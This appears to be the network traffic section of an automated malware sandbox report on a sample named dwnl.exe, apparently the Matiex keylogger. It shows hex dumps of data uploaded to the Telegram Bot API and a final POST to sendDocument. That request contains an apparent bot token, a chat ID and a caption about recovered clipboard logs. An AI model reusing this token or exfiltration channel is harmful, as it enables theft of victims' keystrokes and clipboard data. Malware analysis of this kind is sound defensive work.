2021-09-13 04:32:16 UTC	8718	OUT	Data Raw: 04 e4 75 4b 00 ba c5 9f 29 ff b8 22 af 19 8d 57 5b 4c 01 e8 96 7a 6e 6a 23 ff b6 4b 00 ea 68 3e c6 bd cd 4b fe 31 86 00 e4 f4 df ba 0a 40 5b fe d9 02 30 82 06 9d f2 b0 7f e7 65 78 69 71 25 7e 2d 00 da 95 d2 8f de e9 95 38 ac 67 a1 21 00 89 1e 74 2e 53 00 1a d2 ce 94 7d a9 30 c7 57 8b 97 fc 63 52 09 40 2f f9 c7 f4 53 82 af 26 64 be 3f 2d 01 07 d0 b5 a6 40 cb 3f 2d 00 9d 29 bf 8c 4a fb e5 b9 fc 34 52 e0 43 8a 82 70 4b cf cb 10 7a 2e 84 30 fc 43 83 44 a5 4d 60 58 15 11 42 fa 50 8d 53 fe d5 33 da 7a 43 42 68 30 24 2e e2 af e1 50 05 af d7 1f 4a 7d c3 e8 79 1d 1e b3 88 a0 de c8 28 11 b6 a9 3f 2a 22 91 7e 8d 47 57 60 e7 51 a5 68 4a ec 32 b2 18 bb 8f 2c c2 7e c4 81 c4 a1 23 0b 71 fc 98 52 9c 3a a6 04 67 64 16 e3 dc ac 62 5c 9c 55 8a ab c6 55 e0 c6 29 61 dc 31 23 Data Ascii: uK)"W[Lznj#Kh>K1@[0exiq%~-8g!t.S}0WcR@/S&d?-@?-)J4RCpKz.0CDM`XBPS3zCBh0$.PJ}y(?*"~GW`QhJ2,~#qR:gdb\UU)a1#
2021-09-13 04:32:16 UTC	8734	OUT	Data Raw: a5 f8 23 52 55 f7 65 78 9e 3f 26 95 f8 f3 bf bb ce 81 5b fc 79 09 c0 b4 0f 13 e2 2f 15 b6 00 b4 08 7c b8 d9 81 48 3f 8d 3b ba cf 8d 3b ba 8f 70 57 ee f5 92 7e 7a 7e 3f df 57 d4 ba 22 fe b4 f4 0b 7c 97 90 7e 81 1f ca 04 2d fc 6c 92 0a 72 98 a8 4a ba 76 9a af 81 9e bb 2f 29 d2 cf 43 fc 99 72 cf 91 7e 6b a4 e1 6a 81 97 2c f2 9c 70 f4 9e 9e 63 2f d0 89 8e cd d2 cd ea 97 31 22 e1 12 28 c1 42 3f ee ad 68 2c 2d 4d 44 ac 70 eb 86 a3 f5 dc 92 85 e9 49 f7 49 c3 45 16 7a f2 3c 6d d4 32 dd e8 47 9f 71 8e 74 3a 4e 7a f7 28 ea f5 88 a1 3e ed ab e4 5f 08 f5 ba 04 51 9f da 46 dd 22 68 4c db 99 7a b4 6f a0 7b 15 1a f5 2d c5 be 7d d7 e2 aa 9c 35 e8 9c 1f 02 fd be c5 14 e2 93 25 15 38 7d e0 5a 34 ed 49 af cd fe f4 03 74 30 9d af 3f 9d 9b a5 df 40 da 77 60 10 69 43 e8 fc 83 Data Ascii: #RUex?&[y/\|H?;;pW~z~?W"\|~-lrJv/)Cr~kj,pc/1"(B?h,-MDpIIEz<m2Gqt:Nz(>_QF"hLzo{-}5%8}Z4It0?@w`iC
2021-09-13 04:32:16 UTC	8750	OUT	Data Raw: b2 0f ff ed dd 81 32 97 f0 df f5 95 17 80 56 82 14 d6 34 fd 00 06 02 30 9c 2e 4d 38 11 61 77 4e 7b 9e 6a 23 b1 10 19 87 e8 3f 69 f2 69 05 20 64 d2 6d b0 37 b7 5a 51 c3 a5 ca 9e 36 67 05 a5 08 40 ac cb 88 ec 99 c8 cb aa 18 93 c8 40 95 33 10 58 f9 04 a0 1d de 57 11 80 d8 2e fa 01 44 13 5a 11 80 3a 7d bf b0 a9 f4 2f 10 11 69 af 07 9a 00 1f 74 aa 90 a8 fe 27 23 9b 70 1c 88 b0 03 88 72 e3 7f 22 e8 30 2e e7 ea 48 28 4c 93 e6 b0 2a 00 ed 74 c8 2b 69 32 6b c7 65 38 dc a7 48 b7 c8 3e b1 8e 23 de aa 1d c2 f3 7f 48 89 a3 ce 35 52 6b ff e3 72 af 39 9a d2 d6 3a 5a 84 ee ec b6 7c 7d 44 98 59 29 86 a8 3a d9 cf 8f 2a 6e 06 9c 23 00 99 e0 39 88 0a 40 23 32 db d2 59 2a e6 82 e6 ce cc ed fc 17 57 45 cf 90 15 80 89 03 2e 33 fd 1f b6 fd b5 9d c6 f7 0b 7d f8 a1 f9 6f 7b 9c 0f Data Ascii: 2V40.M8awN{j#?ii dm7ZQ6g@@3XW.DZ:}/it'#pr"0.H(Lt+i2ke8H>#H5Rkr9:Z\|}DY):n#9@#2Y*WE.3}o{
2021-09-13 04:32:16 UTC	8766	OUT	Data Raw: c2 1a c1 97 0f fd b6 f8 04 82 d0 6e cf 8d 1c 74 a9 b4 00 54 f4 b7 55 05 a0 7e ef 62 08 7f 7b 0d 39 f2 0f d8 df 61 1f fc 47 0a f0 e5 5e 45 e8 77 5a d1 88 bf 7c e8 f7 bd 22 24 aa db 21 8c 04 44 33 de 78 20 f7 94 b8 f9 20 d1 8e 7f cf 3a f2 3b 8b 77 99 ff be 80 f0 cf 76 e1 f7 bf cb 1a 3a 61 e0 2a ba e6 f5 4d c4 9f 61 ba ff 13 a2 83 9e e4 bf 2b af eb cf 7f 13 0f a2 d4 e5 7d 29 71 49 8c 00 c4 78 3e 01 08 be b3 02 d0 15 7f 40 e5 9f 2b 01 5d 11 b6 b7 38 32 94 7f ae 00 0c c6 bf 6d 01 18 77 8c 2e 38 be ff 06 01 a8 12 30 58 f7 5f 27 00 41 b8 dd a8 c0 fb 57 08 40 91 74 2a f1 e2 24 5f 79 38 f2 0f b8 62 4f 71 f7 e5 ee 53 f9 6f 13 80 ee b8 1c cb bf 50 00 fa 12 b0 3c 01 08 76 4b 00 22 12 f0 bb 2a 00 9d e6 bf 10 80 1a 01 68 a2 ff 9e 13 f9 07 d0 df 9f a1 b1 e1 bb 22 00 21 Data Ascii: ntTU~b{9aG^EwZ\|"$!D3x :;wv:aMa+})qIx>@+]82mw.80X_'AW@t$_y8bOqSoP<vK"*h"!
2021-09-13 04:32:16 UTC	8782	OUT	Data Raw: 45 a3 40 dd 6b 27 e0 9e b8 b8 42 10 b8 52 b0 12 b8 d1 a3 60 4f e7 03 cd 44 1e 08 c0 dd 45 ff 53 24 1f 10 7e ee 70 8c 04 8c 9b a6 40 d2 55 16 08 2f 59 a7 be 5d d7 96 d2 0d 03 b6 1d 57 f2 71 61 19 48 47 6c 03 a5 8c db e3 11 19 a9 c3 f9 40 9f 88 e5 10 24 db f1 c6 91 90 07 02 32 d1 90 af 4d 23 fe cd 10 78 7b da cc 59 23 0c b1 1e d6 6f b8 dc 88 a7 c6 2b cd 74 48 46 88 c8 7a 18 e6 69 f5 57 f1 f1 22 62 70 15 a5 03 56 50 a6 91 8d 56 43 12 10 c9 0c cc cb a3 a9 31 fa 22 44 bf 80 8d 17 53 b6 29 ff ee 35 e2 df b4 86 f3 28 db 78 01 15 36 5d 44 45 cd 16 53 b5 56 cb a8 b8 19 8f 37 99 4b 05 0d bf a0 4c 83 4f 28 53 ef 43 ca 36 f8 27 15 35 fe 88 aa 36 fb 94 d2 f5 f9 f7 88 c9 36 f8 80 aa 36 fe 84 6a b7 9c 4d 47 76 5e 42 3f e8 bb 9e 4e 1b be 95 ce 9d 42 74 d6 64 a2 33 a6 32 Data Ascii: E@k'BR`ODES$~p@U/Y]WqaHGl@$2M#x{Y#o+tHFziW"bpVPVC1"DS)5(x6]DESV7KLO(SC6'5666jMGv^B?NBtd32
2021-09-13 04:32:16 UTC	8798	OUT	Data Raw: 1c ca 2d 55 ef 8d 48 ea d9 96 2a fa b2 d8 3b 71 10 b4 3a 61 20 54 b6 7d 38 45 c5 f1 0f 41 e5 71 31 34 5f 71 2c 15 1c e9 6f 84 de d1 34 6e 61 6f a8 3c a2 27 53 71 78 0f a8 38 b4 3b 23 a9 aa 2c ab e8 7a d3 75 e7 31 f5 e8 9e 58 48 80 51 0a 37 49 bb bd ad bc 23 71 47 ec 89 f7 59 d8 eb ce b8 dd 83 da bb f0 b9 b8 97 9f 05 1e 07 72 1f 23 86 63 6e 77 ad a4 8e 33 54 41 5a 90 42 32 45 2a 47 73 f5 68 96 85 f1 f3 e6 a3 05 a0 50 8e 08 14 12 cf a7 c6 09 40 92 d3 44 52 50 f3 35 25 a4 aa 70 13 45 60 96 00 d4 52 3b 25 00 45 02 72 14 eb c0 38 45 9d 45 e0 a0 38 22 30 24 02 7d 94 00 34 12 d0 a4 b3 c7 12 50 09 40 44 24 37 a5 92 37 16 1a cb 52 43 63 09 86 a2 02 35 4e 16 06 04 63 62 79 06 c1 75 fc fd 4a 2a b3 6e 79 3d 3a 46 af d5 eb 21 fa 58 8b e1 3e 8f b0 db 9a 7d a9 7e 82 d6 Data Ascii: -UH;q:a T}8EAq14_q,o4nao<'Sqx8;#,zu1XHQ7I#qGYr#cnw3TAZB2EGshP@DRP5%pE`R;%Er8EE8"0$}4P@D$77RCc5NcbyuJ*ny=:F!X>}~
2021-09-13 04:32:16 UTC	8814	OUT	Data Raw: 0a 62 90 cc d3 98 28 2e 4a ed b4 c7 b8 fd a5 0c 89 4b 2e 56 f2 1f 3c 17 4e b7 a5 54 5b 64 eb 73 0c 2e d5 f6 cc 24 12 81 c7 91 7a 78 5d 37 c5 6b fc 6f bc ee ff c2 fb f3 2f 12 b8 24 73 29 9d 9b 5a c5 a6 24 f9 08 12 7c 08 0b 5d 91 be 16 16 c1 d4 af 90 f5 85 12 f7 5a c4 6f 9a 2c 01 28 64 0b 40 96 80 81 e7 23 28 00 e9 59 29 85 b7 4d 42 00 d2 33 46 e3 4b aa 31 26 25 0a b0 b0 83 1e d3 2f 83 90 f4 d3 2c 43 01 c8 51 ae 48 79 02 30 2e 1a 92 10 80 82 88 3f 27 04 03 f2 8f 50 29 c0 0c 8d 69 c9 14 93 80 0a 11 80 5a 04 8a 04 64 f0 7b 4b 93 12 81 1d 62 3c 01 18 1d d2 b9 a8 08 cc 1d 4c 12 b0 3b e4 04 25 fb 1c a5 96 2b 12 62 d0 a5 12 17 a3 57 40 aa 21 01 d1 55 1c 91 6f 25 f0 e5 23 22 82 d2 8f 5a d4 f2 b2 18 b9 23 f1 1c 08 9a 66 fc 73 c9 10 7f 02 a7 e1 06 90 e5 fe fe 7c e8 Data Ascii: b(.JK.V<NT[ds.$zx]7ko/$s)Z$\|]Zo,(d@#(Y)MB3FK1&%/,CQHy0.?'P)iZd{Kb<L;%+bW@!Uo%#"Z#fs\|
2021-09-13 04:32:16 UTC	8830	OUT	Data Raw: 49 48 88 41 e9 5f 1b e1 a2 0f 16 4f 7a 51 6a 6f 9e a2 ff 10 12 38 26 ea 2f 89 c8 19 12 7c 5a d6 e8 c8 39 81 fa 29 c5 93 a6 49 84 50 84 1d 49 11 8a be 8b 36 36 51 78 c9 f6 48 5e 6e 52 6c e3 f5 b2 a2 f4 78 7e 7d 6c 29 e5 58 a4 93 3d 7e 82 a3 f6 d6 a5 6b 67 52 58 53 d7 4b 52 6a 05 92 6e 3e 32 1e 25 09 3d 1f 59 96 b5 3c 20 fd 7c 8a 09 40 79 0e f8 59 50 cf 47 ea 39 d1 cf 7c 23 68 bc 00 94 54 df 5f 05 60 10 7d 2c c8 52 13 80 96 9f 4c 00 5a 96 bd 00 14 62 01 98 4c fb b5 63 ff 85 64 5f 80 54 24 e0 4f 28 00 83 fb e0 74 e0 a6 a3 25 60 31 11 28 a4 24 60 28 65 58 c1 15 85 03 fd 8e 3d 4d 84 60 b9 e8 48 42 96 87 be dc cb 62 0f 5c 57 a0 79 11 50 a5 52 90 43 7d 09 bc 88 b7 96 80 44 1b 09 37 25 eb 64 de 47 a2 f6 08 8a 2a d4 d1 78 44 3c 7f 37 e3 1f 7f 48 aa 69 82 d1 7b 7b Data Ascii: IHA_OzQjo8&/\|Z9)IPI66QxH^nRlx~}l)X=~kgRXSKRjn>2%=Y< \|@yYPG9\|#hT_`},RLZbLcd_T$O(t%`1($`(eX=M`HBb\WyPRC}D7%dG*xD<7Hi{{
2021-09-13 04:32:16 UTC	8846	OUT	Data Raw: 26 da 9c 97 fb 76 c4 79 80 df 9f 3e 63 ba 59 60 ba 39 9d 07 91 ea 2e 3b 33 76 5e a3 cf 17 7d 8e f0 f6 a2 e0 2b a5 0b fa 9c 99 85 21 02 d0 2e d3 f0 f1 51 df 83 a1 fd 9c 45 00 82 ec b7 1d c2 ac c2 cf d2 7b fe ef 9d 91 24 a0 23 c5 12 ae b0 23 bc bc 43 f0 ca b2 78 eb 2d 2b 51 24 2a f9 b7 26 00 87 73 73 12 80 5a 02 ae 1a 01 b8 dd e3 67 47 0b 40 8d 11 80 d3 1d 4e 4f 78 69 9c 3e 33 be 3c 14 3c 89 a8 a9 1e 7e 66 46 88 4a 6c b0 cb db 84 be 0a bb 48 02 d0 08 c5 10 25 48 fb 11 99 ec 44 fb ac 79 f8 19 cd d4 b2 23 7d 77 86 96 77 21 22 53 a3 f6 61 8c 00 d4 e2 af 2d 00 89 d4 2c 19 18 01 48 0f 9c ba 5f c2 46 00 9a 87 d2 0e 74 3f 36 0d 8e 14 ec 91 86 09 ee 37 07 0f d1 23 e8 13 80 04 fe 5b 5f ed fd cc 7a 69 9f 20 02 41 5b 00 46 20 00 0b 12 90 f3 7b d2 4f e3 89 bc 59 29 09 Data Ascii: &vy>cY`9.;3v^}+!.QE{$##Cx-+Q$*&ssZgG@NOxi>3<<~fFJlH%HDy#}ww!"Sa-,H_Ft?67#[_zi A[F {OY)
2021-09-13 04:32:16 UTC	8862	OUT	Data Raw: 28 01 28 12 50 cb 3f 61 88 00 14 09 b8 50 01 e8 49 c0 45 09 40 89 c6 d1 02 10 2f ed 31 02 d0 15 80 32 8a 27 4b c0 28 f5 a4 6f 3f e0 08 be 94 2f 62 97 5b 5c a9 47 74 0a c0 d8 07 21 e3 08 40 2d 01 45 04 96 04 20 b0 91 80 7d 02 50 a3 65 a0 08 40 91 7f 2c 00 53 bf 6a 6d e1 07 d1 27 e9 76 d9 f4 bc 7f 61 38 7a 50 fa 11 d4 11 82 44 92 7f 04 3e 0b 3a 32 30 f5 2b 98 f5 2f 08 a2 40 02 32 fa ab 27 02 59 10 36 02 50 4b 40 d0 92 7f 92 16 65 1f 7f ee 90 80 56 f0 0d 61 8c 04 64 e1 e6 a4 5b a4 2c e9 23 b1 6b aa f3 cf 33 15 aa 8b 69 7a 51 88 f4 0b 91 7d ff 4e c7 39 4a 3f 1c 77 16 b8 f8 2d 1c 29 8c 73 e5 fc 78 ee c4 73 b0 39 3f c3 e0 1d 02 8f 8a 2d c2 9b cf fd 30 c8 4e ba 6e e2 f5 c8 d7 25 5d bb d5 29 74 dd 9f f4 a1 50 47 3c ee 4f 39 6a 98 07 11 42 dd c1 d1 7e 7f 5c 57 27 Data Ascii: ((P?aPIE@/12'K(o?/b[\Gt!@-E }Pe@,Sjm'va8zPD>:20+/@2'Y6PK@eVad[,#k3izQ}N9J?w-)sxs9?-0Nn%])tPG<O9jB~\W'
2021-09-13 04:32:16 UTC	8878	OUT	Data Raw: 27 f5 c6 30 ab 60 4a 42 49 e1 8a a2 01 79 34 5e fe 2c 0d db d7 fb 6c 71 f6 d3 a6 25 bc f5 97 0b 6f fb c0 cb 5b c2 5b bf 8f b8 5e fa bd ec 72 07 f9 5d ed 6f a3 99 6c 2c 02 50 0b be a1 6c 4c 02 f0 fe 87 05 8a 12 d0 17 7c 7d 2c 4a 00 02 2d ff 80 4e eb 93 78 56 f8 59 bc 75 46 e1 48 3f 8d 88 bd 4c 00 7a 74 08 40 4f 02 36 e9 b9 f8 13 44 f0 95 d2 85 21 02 30 93 80 eb 49 00 b6 c1 c3 79 78 40 cf d0 0f e7 44 f6 e0 4e 6c 74 02 70 c4 36 f5 8b 5a c2 13 80 4a 02 8a 00 14 09 28 02 b0 11 81 b9 f8 13 ac b4 6b 61 04 a0 9b 07 a0 2c a7 bc b4 9e 74 52 ef c9 bd 21 18 01 28 12 70 b4 00 04 51 00 ba 91 80 12 0d 28 2f f6 04 04 60 e8 b3 ab 83 42 24 a0 87 27 00 59 3e 28 09 98 c9 3f 44 25 69 01 78 74 88 66 82 00 ac 8e c9 c5 df d2 f1 ef 48 88 fc 63 e1 27 7d 08 4a 3f 82 90 25 3c 08 42 Data Ascii: '0`JBIy4^,lq%o[[^r]ol,PlL\|},J-NxVYuFH?Lzt@O6D!0Iyx@DNltp6ZJ(ka,tR!(pQ(/`B$'Y>(?D%ixtfHc'}J?%<B
2021-09-13 04:32:16 UTC	8894	OUT	Data Raw: b1 3f 40 1d 0d 08 a1 02 b1 22 02 30 0a 1a c6 13 80 8f c2 08 c1 b9 00 f4 24 a0 a4 27 86 0a c0 c3 29 1f b0 22 50 cb 3f 90 8d 1c 0c 44 58 b5 d1 82 af 0f 2d c3 18 4f 98 09 6e 1e 4f ea 8d 41 95 6b 51 db 59 b4 f8 63 9c 63 97 8e 73 3c ee b9 fc a3 df 05 d1 7e 51 fe e1 7c 28 8a 3f 3d 52 ef 00 01 e8 49 3f 8d 34 6d 97 88 bf 24 ba 63 e4 5f 13 2d 9b 4b f3 24 fe 08 96 f0 5a fe 81 01 02 50 d7 31 2c fe 4a f5 1f a3 ea 4c 42 cb 3f ae c7 ed a0 15 5c 0f e7 62 6f 38 e7 a9 7b 01 ee 25 ea be 62 45 56 bc 5f 0e 17 7b 43 51 32 cc 8e 80 6b 04 20 98 57 00 6a f9 e7 46 fa ab ef 5e a4 6f 9d 1d b1 ad 20 fe ec fe b7 f1 8e c9 00 e4 b9 87 9f ad 9a e7 2d 48 3e 7e 26 8b 68 f9 67 05 e0 f4 21 94 47 8b 3b e0 c9 bd 21 e8 32 9a a6 bf 26 fa ef db af 0f 9f bf ff 5e 16 80 88 02 fc e9 a7 ce 4c cd 80 Data Ascii: ?@"0$')"P?DX-OnOAkQYccs<~Q\|(?=RI?4m$c_-K$ZP1,JLB?\bo8{%bEV_{CQ2k WjF^o -H>~&hg!G;!2&^L
2021-09-13 04:32:16 UTC	8910	OUT	Data Raw: cb 4a 4c 96 a5 32 8f c9 3f 01 64 1f 27 cc 0e 9c 90 80 07 54 fe 09 5c c4 1d 15 54 fe 09 28 ed 88 f8 53 30 5d 0d 54 cc 6d 13 2a ff 04 2e f4 22 0b 08 40 01 85 de 18 56 fe e9 32 16 d4 95 b0 02 50 c8 82 cf 06 bc c0 23 cb c7 28 09 40 2b 01 13 f9 27 cc 14 80 11 37 58 49 88 eb f2 e0 3d 41 05 60 41 02 fa 41 d0 b5 83 04 b4 a2 8f 2d 13 e2 25 44 58 c7 12 a6 ee 1b 15 80 28 f7 6a b1 65 b4 80 83 de 39 e0 0c 42 32 8b 70 4c 00 26 5c 7f 73 36 a8 df 84 00 cc f2 45 e9 30 43 00 c6 f5 a9 bc f0 9c 74 65 0b 76 b9 80 d2 23 02 db 02 54 a4 a0 00 54 bc 84 69 11 80 64 3d 13 7b b5 02 d0 6f 9f ca 3e 46 be 6d c1 cf 34 2b 09 40 11 54 22 b9 84 28 c5 ac c0 1b 48 a5 1a 27 a6 7f e6 2b 27 24 de 9a 64 f5 9e c7 98 fc b3 97 ed 56 13 67 62 c2 b1 61 10 f9 67 05 60 76 fc 79 8c f0 93 63 15 2f f5 25 Data Ascii: JL2?d'T\T(S0]Tm*."@V2P#(@+'7XI=A`AA-%DX(je9B2pL&\s6E0Ctev#TTid={o>Fm4+@T"(H'+'$dVgbag`vyc/%
2021-09-13 04:32:16 UTC	8926	OUT	Data Raw: 7f c2 5e 00 1a b8 04 1b 60 79 96 60 dd f2 5b f2 6b da 3a 72 a9 d5 82 15 5a 4c 7a b5 60 cb 9b 04 a4 9e 95 7c fa 19 d1 75 4b 61 eb c3 f6 09 b1 e9 ad 00 b4 12 30 11 72 41 ca 35 61 f3 97 60 e9 dd 67 26 ed 96 84 4a bd 16 f6 02 70 16 6c db b5 60 7b 58 39 b7 36 4c 00 0a 90 e6 38 0b 40 a5 94 d6 2f 93 4b 83 61 fd 18 4c fa 21 99 b4 9b 8b c8 ba d2 f2 b5 e0 c1 46 35 44 f2 8d 71 dc 04 e0 89 47 8e 07 c9 7d 90 b8 06 18 7c 32 42 a0 be 39 d2 c0 98 a1 c1 b2 25 0a 40 c5 2d b3 64 c2 cf b2 17 80 14 3b 30 2d c2 06 b5 0d 30 c1 37 45 52 46 22 e3 ea 48 06 f0 64 7d 1b 1b 16 80 8f 77 e9 05 58 96 08 18 58 4e 31 79 85 24 3f 13 4d 2d 18 29 25 a0 98 8a e9 9e f0 ad 39 58 4e 03 a9 04 4c 85 57 1b 79 dd 9b 21 f5 f3 e8 3e d6 e4 a9 49 a3 98 74 43 5b f3 d9 85 28 ff fc f7 21 4f df 85 d9 7f 78 Data Ascii: ^`y`[k:rZLz`\|uKa0rA5a`g&Jpl`{X96L8@/KaL!F5DqG}\|2B9%@-d;0-07ERF"Hd}wXXN1y$?M-)%9XNLWy!>ItC[(!Ox
2021-09-13 04:32:16 UTC	8942	OUT	Data Raw: df f8 c6 5c 28 91 3a ae 83 95 a9 35 48 7b 5b 91 f7 55 6f 7a 41 50 70 5d f7 cf 7f f1 bd 71 b9 bc d7 bf 93 af fa a6 24 8f 20 7f 4c ea 29 53 eb 05 fc 3b f3 c2 47 36 7d bf 0a 6b df 4d b4 b7 a0 db 42 0e ce ef f1 12 f0 82 6b 8d 14 64 f0 19 83 8a 2c 1b 24 1e bc 4f 1e f2 71 6d 7c af e5 c6 a7 0f 07 b4 1c fb ea e5 e4 85 41 52 8e bc 8a 08 1c 63 75 d1 f5 11 f9 2c 79 22 b1 ce 0e 5c ee d0 fc 76 79 c6 05 d7 8f c3 a4 1e c2 a4 62 25 87 0f 71 e5 53 29 55 0f 93 94 9b 62 e5 02 9e 56 58 39 73 60 fb de c2 e1 43 45 ee 49 d0 66 d7 0d c1 1c 13 7c ad d8 9b 44 4f 41 83 1a 40 82 84 6c b9 06 45 0e 56 87 16 4a e5 8e 02 79 b2 80 a6 11 1a d4 6c 98 24 d0 62 41 2d 80 41 30 63 4c 0e f6 c0 80 ca e2 05 e0 70 5f a6 79 f4 83 be b9 e8 00 72 5d b2 b2 64 66 8a 43 06 a9 08 97 78 23 d8 f4 08 4b df Data Ascii: \(:5H{[UozAPp]q$ L)S;G6}kMBkd,$Oqm\|ARcu,y"\vyb%qS)UbVX9s`CEIf\|DOA@lEVJyl$bA-A0cLp_yr]dfCx#K
2021-09-13 04:32:16 UTC	8958	OUT	Data Raw: 50 c6 9d ea 78 e1 67 21 e7 af 26 54 f0 15 d0 f3 34 3b 8f 0b d8 27 cd 83 f7 91 d5 18 01 d8 2a 01 69 99 63 ec 98 00 64 b1 51 0b 18 db 51 58 5c d8 c2 44 59 2c ae de 14 3a 1e 58 67 5c 60 cb a0 72 af 86 92 00 4c 24 e0 50 47 d6 76 1e 68 df da ef 37 59 af b1 b2 c8 34 13 2f c7 75 6b 80 e5 ad 4b 56 fe ae 08 c0 4c 2a 58 69 71 8e 3c 05 f8 e2 5e ca bc e0 4e 2f 3f f4 cf 3f 95 35 91 54 c3 df 5d b7 ff cd fe 61 20 fa 14 d5 1b 4e f7 0f eb f0 b3 c9 dc 76 e5 35 3e 01 36 ac 1b 9e 5a 8b 7f 77 77 b7 3c 45 a4 96 08 32 94 58 f2 20 07 91 61 f2 10 11 b9 6c b4 17 3c a9 d0 11 49 84 7f 50 96 c8 1b b9 84 73 29 a1 25 33 09 b3 ba bb 76 b8 cd 05 6b 32 db 4f c4 96 69 bf 3b 5e 00 75 91 7d 77 af fe be 74 3a 6b 4f d6 39 e4 5e 89 5e 42 85 cf 51 92 ca a5 bd 22 c6 1c 7d be db bb 93 f2 3d c5 07 Data Ascii: Pxg!&T4;'icdQQX\DY,:Xg\`rL$PGvh7Y4/ukKVLXiq<^N/??5T]a Nv5>6Zww<E2X al<IPs)%3vk2Oi;^u}wt:kO9^^BQ"}=
2021-09-13 04:32:16 UTC	8974	OUT	Data Raw: ba f3 bf 39 9b b8 79 e3 30 cd e7 f3 66 42 dd f9 1c 10 e3 a6 a3 6d 6e 5a ae f9 c6 eb d7 de 08 3e 37 29 6c 06 9b c4 66 9d 96 df 6c 6e 9a 90 fd 86 0e 1b 64 9a be 8c 41 ef 37 66 da 8d 3b cb af 2f fd 6e 36 01 1b 46 62 6c 1b 47 8c 71 d6 40 6a 4b ff 1a ac 6b 9e e3 b0 5e 6e 98 dd 48 4b 06 a6 4f 3f 52 e2 6f 22 fb 46 1d 7b 12 80 e6 4e 3a e3 a0 af 90 3e 29 c7 e6 be 11 5a 63 ec 2c 25 0f d0 05 b6 24 02 24 1b 80 7a fa fb 1a 7d 3d 6d 99 5f c5 67 8c e3 cb 18 6c f6 65 ff bd 2e 68 67 0d 6c cb 36 75 1a 7a c2 a5 f7 a5 9e 84 0e a0 2d d9 03 92 cc d1 66 5c 9f 83 4e 7c fa 80 79 59 27 49 20 da e6 f4 71 da 21 98 d4 91 22 6b e5 58 cd 37 5e bf 76 09 2b 24 b6 49 52 8f b8 d1 2e 71 a7 2d 75 c8 3b 74 81 cd 5f 09 96 d8 33 06 5d d2 0f 3d 73 8c 83 ec 9b fc 33 d1 b7 7d e2 8f b1 f3 94 62 f3 Data Ascii: 9y0fBmnZ>7)lflndA7f;/n6FblGq@jKk^nHKO?Ro"F{N:>)Zc,%$$z}=m_gle.hgl6uz-f\N\|yY'I q!"kX7^v+$IR.q-u;t_3]=s3}b
2021-09-13 04:32:16 UTC	8990	OUT	Data Raw: 6f f1 2b c0 09 93 7a dd e2 62 ed 45 fc 21 2f eb 02 4f 28 3a d2 be 90 40 bf 3a be 6a d3 5a e1 f5 af 7f fd f0 75 5f f7 75 c3 2d b7 dc 32 11 79 cf 7d ee 73 0f 22 01 89 21 96 1c 72 a9 41 ad 2a f6 2c 4c 24 52 41 00 ae 11 46 c4 3f fb d5 6f 98 08 a6 cd d3 3d 2b 04 e2 c6 3f 62 95 34 3b 90 ac 5a af 57 93 63 fb 73 2a b4 3a 53 6c 1c 4f ff 77 f9 f6 d6 90 b8 5b 89 dd 37 9e 45 3f 10 7f 8b 27 12 0f 3d 46 cf d9 89 00 3c e1 f6 01 e4 1e 4f f8 6d 3f 93 5b 60 bf 28 f9 07 9c 83 9d 77 a7 b9 77 5e 40 b2 9d f3 34 3a 70 11 44 9f e6 eb 79 83 e1 06 02 e9 06 63 8a 9b 37 1c 48 5e c6 81 69 01 9c 7d 00 df b4 1e 44 ad dc 10 ed ea c4 bb 29 1b d7 b3 d1 ee 26 ce 58 65 db 60 b5 18 6c c0 f6 8d 2f ff 37 3b 24 e0 8d 2f fa fe e1 23 fe e8 33 a7 cd 60 e6 42 18 de e9 73 ff c7 e1 c6 af fb 99 29 ce Data Ascii: o+zbE!/O(:@:jZu_u-2y}s"!rA,L$RAF?o=+?b4;ZWcs:SlOw[7E?'=F<Om?[`(ww^@4:pDyc7H^i}D)&Xe`l/7;$/#3`Bs)
2021-09-13 04:32:16 UTC	9000	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 13 Sep 2021 04:32:16 GMT Content-Type: application/json Content-Length: 1313 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-13 04:32:16 UTC	9001	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 32 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 37 30 39 36 33 31 33 36 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 31 32 30 35 39 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 45 54 54 59 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 42 55 54 54 45 52 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 62 65 74 74 79 62 75 74 61 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 31 35 30 37 35 33 36 2c 22 64 6f Data Ascii: {"ok":true,"result":{"message_id":326,"from":{"id":1709631362,"is_bot":true,"first_name":"TOBI5000","username":"TOBI5000_bot"},"chat":{"id":1120598411,"first_name":"BETTY","last_name":"BUTTER","username":"bettybuta","type":"private"},"date":1631507536,"do

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.5	49833	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-13 04:32:17 UTC	9002	OUT	POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Clipboard%20Logger%20%5C HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d976803b9990bf Host: api.telegram.org Content-Length: 749
